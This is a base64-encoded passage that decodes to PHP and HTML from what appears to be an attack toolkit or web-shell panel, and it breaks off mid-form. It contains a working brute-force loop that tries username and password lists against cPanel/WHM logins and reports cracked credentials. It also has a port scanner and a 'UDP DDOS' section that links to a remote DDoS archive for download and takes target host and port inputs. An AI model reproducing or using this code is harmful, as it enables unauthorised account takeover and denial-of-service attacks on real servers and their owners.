QogICAgICAgICAgICAgICAgICAgICAgICBjcGFuZWwoJHRhcmdldCwkZmluYWx1c2VyLCRmaW5hbHBhc3MsJGNvbm5lY3RfdGltZW91dCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3aG0oJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OjIwODYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgPjx0cj48dGQgYWxpZ249Y2VudGVyPjxiPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mj49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PC9mb250Pjxmb250IGNvbG9yPXJlZCBzaXplPTI+ICR1c2VyIDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTI+Q3JhY2tlZCB3aXRoIDwvZm9udD48Zm9udCBjb2xvcj1yZWQgc2l6ZT0yPiAkcGFzcyA8L2ZvbnQ+IDxmb250IGNvbG9yPXdoaXRlIHNpemU9Mj49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTt9DQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2VybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFzc2xpc3Q9ZXhwbG9kZSgiXG4iLCRwYXNzbCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYXR0YWNrID09ICJ3aG0iKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9ODAlID48dHI+PHRkIGFsaWduPWNlbnRlcj48Yj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTI+dXNlciB1bmRlciBhdHRhY2sgaXMgJHVzZXIgPC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmluYWx1c2VyID0gdHJpbSgkdXNlcik7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3JkICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpbmFscGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgd2htKCR0YXJnZXQsJGZpbmFsdXNlciwkZmluYWxwYXNzLCRjb25uZWN0X3RpbWVvdXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCR1c2VybD09IiIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cD5sb2wsIHlvdSBoYXZlIGxlZnQgdXNlcmxpc3QgZmllbGQgZW1wdHk8L3A+IjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCRwYXNzbD09IiIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwPnBsZWFzZSBwdXQgcGFzc3dvcmRzIGluIHBhYXN3b3JkIGxpc3QgZmllbGQ8L3A+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2NlbnRlcj4nDQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfR0VUWydwb3J0X3NjYW5uZXInXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgY29sb3I9ImxpZ2h0Z3JlZW4iIHNpemU9IjUiIGZhY2U9ImN1cnNpdmUiPlBvcnQgU2Nhbm5lcjwvZm9udD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWw+RG9tYWluL0lQOiA8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkb21haW4iIHBsYWNlaG9sZGVyPSJEb21haW4vSVAuLi4iLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NhbiIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnZG9tYWluJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9saXN0IG9mIHBvcnQgbnVtYmVycyB0byBzY2FuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBvcnRzID0gYXJyYXkoMjAsIDIxLCAyMywgMjIsIDI1LCA1MCwgNTEsIDUzLCA1NywgNjcsIDY4LCA2OSwgODAsIDgxLCAxMTAsIDEyMywgMTM1LCAxMzksIDE0MywgMTQ1LCAxNjEsIDE2MiwgMzg5LCA5ODksIDk5MCwgNDQzLCA1ODcsIDE0MzMsIDgwODAsIDgwODEsIDI1MjUsIDMzMzgsIDMzMDYsIDE1OSwgNjU1MzUpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHBvcnRzIGFzICRwb3J0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRwZiA9IEBmc29ja29wZW4oJF9QT1NUWydkb21haW4nXSwgJHBvcnQsICRlcnIsICRlcnJfc3RyaW5nLCAxKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJHBvcnRdID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJHBvcnRdID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRyZXN1bHRzIGFzICRwb3J0PT4kdmFsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwcm90ID0gZ2V0c2VydmJ5cG9ydCgkcG9ydCwidGNwIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gaWQ9XCJwb3J0XCI+UG9ydCAkcG9ydCAoJHByb3QpOiA8L3NwYW4+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gc3R5bGU9XCJjb2xvcjpsaWdodGdyZWVuXCI+T3Blbjwvc3Bhbj48YnIvPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8c3BhbiBzdHlsZT1cImNvbG9yOnJlZFwiPkluYWNjZXNzaWJsZTwvc3Bhbj48YnIvPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfR0VUWydnZW5lcmF0ZV9tZDVoYXNoJ10pKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+PGZvbnQgY29sb3I9ImxpZ2h0Z3JlZW4iIHNpemU9IjUiIGZhY2U9ImN1cnNpdmUiPkdlbmVyYXRlIE1ENSBIYXNoPC9mb250Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9Im1kNS10ZXh0IiB0eXBlPSJ0ZXh0IiBzaXplPSIiIHBsYWNlaG9sZGVyPSJFbnRlciBTdHJpbmcuLi4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJtZDVfc3RyaW5nIiB2YWx1ZT0iR2VuZXJhdGUgTUQ1IEhhc2giPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ21kNV9zdHJpbmcnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJG1kNWVkID0gJF9QT1NUWydtZDUtdGV4dCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAkbWQ1X2NvbnRlbnQgPSBtZDUoJG1kNWVkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkbWQ1ZWQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgcm93cz0iMTAiIGNvbHM9IjUwIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwPk1ENSB3YXNudCBnZW5lcmF0ZWQhITwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgcm93cz0iMTAiIGNvbHM9IjUwIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCIkbWQ1X2NvbnRlbnQiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgfSA/Pg0KICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ2RlY29kZXInXSkpDQogICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxicj48Zm9udCBjb2xvcj0ieWVsbG93IiBmYWNlPSJjdXJzaXZlIiBzaXplPSI1Ij5CYXNlNjQgRW5jb2RlcjwvZm9udD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iIj5FbnRlciB0ZXh0IHRvIGVuY29kZTogPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYmFzZTY0X2VuY29kZSIgc2l6ZT0iIiBwbGFjZWhvbGRlcj0iVGV4dCB0byBlbmNvZGUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdGJhc2U2NCIgdmFsdWU9IkVuY29kZSIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGJhc2U2NCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkkdGV4dCA9ICRfUE9TVFsnYmFzZTY0X2VuY29kZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkkY29udGVudCA9IGJhc2U2NF9lbmNvZGUoJHRleHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAlpZiAoISRjb250ZW50KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQllY2hvICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCWVjaG8gJ1RleHQgd2FzbnQgZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYSByb3dzPSIxMCIgY29scz0iNTAiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQllY2hvICgiJGNvbnRlbnQiKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWNobyAiPGJyPiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPjxmb250IGNvbG9yPSJ5ZWxsb3ciIGZhY2U9ImN1cnNpdmUiIHNpemU9IjUiPkJhc2U2NCBEZWNvZGVyPC9mb250Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IiI+RW50ZXIgdGV4dCB0byBkZWNvZGU6IDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiYXNlNjRfZGVjb2RlIiBzaXplPSIiIHBsYWNlaG9sZGVyPSJUZXh0IHRvIGRlY29kZSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRiYXNlNjRkZWNvZGUiIHZhbHVlPSJEZWNvZGUiIC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRiYXNlNjRkZWNvZGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkkbWFpbl90ZXh0ID0gJF9QT1NUWydiYXNlNjRfZGVjb2RlJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJJHRvX2RlY29kZSA9IGJhc2U2NF9kZWNvZGUoJG1haW5fdGV4dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKCEkdG9fZGVjb2RlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCWVjaG8gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQllY2hvICc8cD4gVGV4dCB3YXNudCBkZWNvZGVkIDwvcD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAllbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgcm93cz0iMTAiIGNvbHM9IjMwIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQllY2hvICgiJHRvX2RlY29kZSIpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ1VEUF9ERE9TJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgCQkvLyBtaWNyb0FqYXggLSBodHRwczovL2dpdGh1Yi5jb20vVGhlWjNyby9taWNyb2FqYXgvDQogICAgICAgICAgICAgICAgICAgICAgICAJCWZ1bmN0aW9uIG1pY3JvQWpheChCLEEpe3RoaXMuYmluZEZ1bmN0aW9uPWZ1bmN0aW9uKEUsRCl7cmV0dXJuIGZ1bmN0aW9uKCl7cmV0dXJuIEUuYXBwbHkoRCxbRF0pfX07dGhpcy5zdGF0ZUNoYW5nZT1mdW5jdGlvbihEKXtpZih0aGlzLnJlcXVlc3QucmVhZHlTdGF0ZT09NCl7dGhpcy5jYWxsYmFja0Z1bmN0aW9uKHRoaXMucmVxdWVzdC5yZXNwb25zZVRleHQpfX07dGhpcy5nZXRSZXF1ZXN0PWZ1bmN0aW9uKCl7aWYod2luZG93LkFjdGl2ZVhPYmplY3Qpe3JldHVybiBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKX1lbHNle2lmKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCl7cmV0dXJuIG5ldyBYTUxIdHRwUmVxdWVzdCgpfX1yZXR1cm4gZmFsc2V9O3RoaXMucG9zdEJvZHk9KGFyZ3VtZW50c1syXXx8IiIpO3RoaXMuY2FsbGJhY2tGdW5jdGlvbj1BO3RoaXMudXJsPUI7dGhpcy5yZXF1ZXN0PXRoaXMuZ2V0UmVxdWVzdCgpO2lmKHRoaXMucmVxdWVzdCl7dmFyIEM9dGhpcy5yZXF1ZXN0O0Mub25yZWFkeXN0YXRlY2hhbmdlPXRoaXMuYmluZEZ1bmN0aW9uKHRoaXMuc3RhdGVDaGFuZ2UsdGhpcyk7aWYodGhpcy5wb3N0Qm9keSE9PSIiKXtDLm9wZW4oIlBPU1QiLEIsdHJ1ZSk7Qy5zZXRSZXF1ZXN0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwiWE1MSHR0cFJlcXVlc3QiKTtDLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpO0Muc2V0UmVxdWVzdEhlYWRlcigiQ29ubmVjdGlvbiIsImNsb3NlIil9ZWxzZXtDLm9wZW4oIkdFVCIsQix0cnVlKX1DLnNlbmQodGhpcy5wb3N0Qm9keSl9fTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAk8L3NjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zdHJ1Y3Rpb25zIiB2YWx1ZT0iR2VuZXJhdGUgaW5zdHJ1Y3Rpb25zIGZpcnN0IChSZWNvbW1lbmRlZCkiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2luc3RydWN0aW9ucyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgCSRnZW5fdGV4dCA9IGZvcGVuKCJpbnN0cnVjdGlvbnMudHh0IiwgInciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkkaW5pID0gJ0ZpcnN0IGNsaWNrIHRoZSBidXR0b24gdG8gZG93bmxvYWQgVURQIERET1MgZmlsZSwgYWZ0ZXIgeW91IGhhdmUgZG93bmxvYWRlZCB0aGUgRERPUyBmaWxlLCBpdCB3aWxsIGJlIGluIGZvcm0gb2YgYSB6aXAgZmlsZSBmb3JtYXQsIHRoZW4gdXNlIHRoZSB1bnppcHBlciB0byB1bnppcCB0aGUgZmlsZSBmcm9tIHlvdXIgZG93bmxvYWRzIGZvbGRlciB0aGVuIHlvdSBjYW4gcHJvY2VlZCB3aXRoIHRoZSBVRFAgRERPUyc7DQogICAgICAgICAgICAgICAgICAgICAgICAJZndyaXRlKCRnZW5fdGV4dCwgJGluaSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJZmNsb3NlKCRnZW5fdGV4dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJJHRoZV9saW5rPSI8YSBocmVmPWluc3RydWN0aW9ucy50eHQgdGFyZ2V0PV9ibGFuaz48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj48dT48YnI+T3BlbiB0aGlzIGxpbmsgdG8gcmVhZCB0aGUgaW5zdHJ1Y3Rpb25zPC91PjwvZm9udD48L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIAllY2hvICR0aGVfbGluazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgCTxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZsb29kX2Rkb3MiIHZhbHVlPSJEb3dubG9hZCBVRFAgRERPUyBmaWxlIChpbnRlcm5ldCByZXF1aXJlZCkiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAJPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZmxvb2RfZGRvcyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnIDxjZW50ZXI+JzsNCmVjaG8gJzxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9UZXJtdXhIYWNrei9VZHAvcmF3L21hc3Rlci9iYWNrZW5kLnppcCIgZG93bmxvYWQ+RG93bmxvYWQgbm93ISA8L2E+JzsNCmVjaG8gIjxicj4iOw0KZWNobyAiPGJyLz4iOw0KZWNobyAnPC9jZW50ZXI+JzsNCn0gDQo/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgCTxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgPCEtLSBVbnppcCBzZWxlY3RlZCB6aXAgZmlsZSAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgIDxsYWJlbD5VbnppcCBmaWxlPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHJlcXVpcmVkIC8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVuemlwIiB2YWx1ZT0iVW56aXAiIC8+DQogICAgICAgICAgICAgICAgICAgICAgICAJIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnV0dG9uIGlkPSJsb2FkTGFnIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxhZ0NvbmZpZygpOyI+TGFnIGNvbmZpZzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnV0dG9uIGlkPSJsb2FkVHJhZmZpYyIgb25DbGljaz0iamF2YXNjcmlwdDp0cmFmZmljQ29uZmlnKCk7Ij5UcmFmZmljIGNvbmZpZzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxiciAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8bGFiZWw+SG9zdDo8L2xhYmVsPjxpbnB1dCBpZD0iaG9zdCI+PGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPGxhYmVsPlBvcnQ6PC9sYWJlbD48aW5wdXQgdHlwZT0ibnVtYmVyIiBpZD0icG9ydCIgbWF4PTY1NTM1IG1pbj0xIHN0ZXA9MSB2YWx1ZT04MD48YnIvPg0KICAgICAgICAgICAgICAgICAgI